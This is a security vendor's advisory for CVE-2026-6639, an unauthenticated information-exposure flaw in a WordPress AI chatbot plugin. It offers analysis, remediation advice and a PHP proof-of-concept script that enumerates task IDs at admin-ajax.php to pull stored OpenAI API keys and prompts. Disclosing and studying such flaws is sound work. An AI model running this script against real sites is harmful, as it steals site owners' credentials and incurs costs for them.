Published : August 5, 2026

CVE-2026-6639: AI Chatbot & Workflow Automation by AIWU <= 1.4.6 Missing Authorization to Unauthenticated Sensitive Information Exposure PoC, Patch Analysis & Rule

CVE ID CVE-2026-6639
Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 1.4.6
Patched Version
Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6639 (metadata-based):

This vulnerability in the AI Chatbot & Workflow Automation by AIWU plugin (slug: ai-copilot-content-generator), versions up to and including 1.4.6, allows unauthenticated attackers to retrieve sensitive information through the exposed AJAX method `getCurrentTaskResults()` in `modules/workspace/controller.php`. The exposure has a CVSS score of 7.5, with a high confidentiality impact and no required privileges or user interaction, making it a serious risk for sites using affected versions. Atomic Edge analysis confirms the attack vector is exclusively through AJAX, given the plugin registers all actions with both `wp_ajax_` and `wp_ajax_nopriv_` hooks. The patched version 1.4.19 resolves the issue by adding proper authorization checks.

Atomic Edge analysis of CVE-2026-6639 (metadata-based):

This vulnerability allows unauthenticated attackers to retrieve sensitive information by exploiting a missing authorization check in the AJAX action handler. The root cause is the absence of a nonce verification and capability check in the `getCurrentTaskResults()` method. This method is not included in the workspace controller’s `getNoncedMethods()` array, and the base `getPermissions()` method returns an empty array. As a result, the method executes without verifying the caller’s identity or permissions. Since all AJAX actions are registered with `wp_ajax_nopriv_` hooks, the endpoint is reachable without authentication. This assessment is inferred from the CWE classification and official description; no source code diff was available to confirm the exact implementation.

To exploit this vulnerability, an attacker sends a crafted POST request to the WordPress admin AJAX endpoint. The request path is `/wp-admin/admin-ajax.php`, and the required `action` parameter is `getCurrentTaskResults`. The attack requires no additional parameters, as the method enumerates task IDs sequentially and returns their stored configuration data. The attacker can call this action multiple times, incrementing the internal task ID in the request body or URL to retrieve all exposed tasks. Each JSON response includes the task parameters, which for tasks created by features like the Bulk Post Generator contain sensitive data: the OpenAI API key in plaintext, AI prompts, keywords, and full model configuration. The lack of a nonce and authentication check makes the endpoint trivial to exploit repeatedly.

Remediation requires applying the plugins patched version 1.4.19. The fix must add authorization checks to the vulnerable method. Atomic Edge analysis advises the plugin developers to include `getCurrentTaskResults` in the `getNoncedMethods()` array and validate the nonce at the start of the method. Additionally, the method should verify that the current user has the required capability, such as `manage_options`, before returning any task data. The AJAX callback registration should also be reviewed to ensure that actions handling sensitive data do not use `wp_ajax_nopriv_` hooks unless strictly necessary.

The impact of this vulnerability is high for data confidentiality. An unauthenticated attacker can harvest API keys, AI prompts, keywords, and model configurations stored in task data. The exposed OpenAI API key in plaintext can lead to unauthorized usage of the AI service, incurring financial costs for the site owner. The AI prompts and model configuration may reveal proprietary business logic or sensitive content strategy. While the vulnerability does not directly allow privilege escalation or remote code execution, the exposed API keys could be leveraged for further attacks, such as abusing the AI service or accessing associated accounts. Sites running versions up to 1.4.6 should prioritize updating to 1.4.19 immediately.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6639 - Missing Authorization to Unauthenticated Sensitive Information Exposure

/**
 * Proof of Concept for CVE-2026-6639
 * 
 * This script demonstrates how an unauthenticated attacker can enumerate
 * the AJAX action 'getCurrentTaskResults' of the AI Copilot Content Generator
 * plugin (ai-copilot-content-generator) to retrieve stored task parameters,
 * including sensitive data such as API keys.
 * 
 * Assumptions based on the CVE description:
 * - The AJAX action is registered via wp_ajax_nopriv_ and wp_ajax_ hooks.
 * - The action name is 'getCurrentTaskResults' and accepts a task ID parameter.
 * - The task ID parameter might be 'id' or passed in the request body.
 * - The endpoint is the standard WP admin-ajax.php file.
 * 
 * Usage:
 *   php cve-2026-6639-poc.php [target_url] [max_task_id]
 *   Example: php cve-2026-6639-poc.php https://example.com 10
 */

// Configuration: modify these or pass as CLI arguments
define('TARGET_URL', isset($argv[1]) ? rtrim($argv[1], '/') : 'http://localhost');
define('MAX_TASK_ID', isset($argv[2]) ? (int)$argv[2] : 5);
define('AJAX_ENDPOINT', '/wp-admin/admin-ajax.php');

function http_post($url, $post_data) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/x-www-form-urlencoded',
        'User-Agent: AtomicEdge-CVE-2026-6639-PoC'
    ]);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $response = curl_exec($ch);
    $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return ['status' => $status, 'body' => $response];
}

$target = TARGET_URL . AJAX_ENDPOINT;

echo "[*] Targeting: " . $target . PHP_EOL;

echo "[*] Enumerating task IDs 1.." . MAX_TASK_ID . PHP_EOL;

for ($task_id = 1; $task_id <= MAX_TASK_ID; $task_id++) {
    $post_data = [
        'action' => 'getCurrentTaskResults',
        // The exact parameter name is not confirmed; 'id' is a common convention.
        'id' => $task_id
    ];

    echo "[+] Requesting task ID " . $task_id . "...";
    $result = http_post($target, $post_data);
    echo " (HTTP " . $result['status'] . ")" . PHP_EOL;

    // Print the response body; it likely contains JSON with sensitive information
    if (!empty($result['body'])) {
        echo $result['body'] . PHP_EOL;
    } else {
        echo "[-] No response body received." . PHP_EOL;
    }

    // Slight delay to avoid hammering the server
    usleep(200000);
}

echo PHP_EOL . "[*] Done." . PHP_EOL;
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.